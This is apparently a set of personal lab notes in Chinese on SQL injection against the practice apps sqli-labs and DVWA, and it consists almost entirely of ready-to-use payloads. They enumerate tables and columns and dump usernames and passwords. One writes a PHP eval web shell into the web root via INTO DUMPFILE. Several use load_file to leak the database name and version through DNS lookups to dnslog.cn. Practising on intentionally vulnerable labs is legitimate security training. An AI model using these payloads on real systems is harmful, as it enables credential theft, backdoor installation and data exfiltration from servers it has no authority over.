sql注入基本语句:
order by 4
判断有多少列
union select 1,2,3
判断数据显示点
union select 1,user(),database()
显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3
查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3
查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3
查看账号密码信息
一、利用sql注入上传一句话木马
1.先判断显示位
2.再判断路径
注入语句:
http://localhost/sqli-labs-master/Less-2/?id=2 union select 1,1,"<?php eval($_REQUEST[23]); ?>" into dumpfile "C:\\phpStudy\\PHPTutorial\\WWW\\muma.php" --
成功
验证
二、sqli-labs利用dns回显数据
返回数据库名的注入语句:
http://localhost/sqli-labs-master/Less-2/?id=1 and load_file(concat("\\\\",(version()),".2bmmih.dnslog.cn\\1.txt"))
三、DVWA利用dns回显数据——low级别
返回数据库名的注入语句:
1' and load_file(concat("\\\\",(database()),".2bmmih.dnslog.cn\\1.txt")) -- -
三、DVWA利用dns回显数据——medium级别
使用Burp Suite抓包
四、DVWA利用dns回显数据——HIgh级别
返回数据库版本的注入语句:
1' and load_file(concat("\\\\",(version()),".3e6rl5.dnslog.cn\\1.txt")) -- -
成功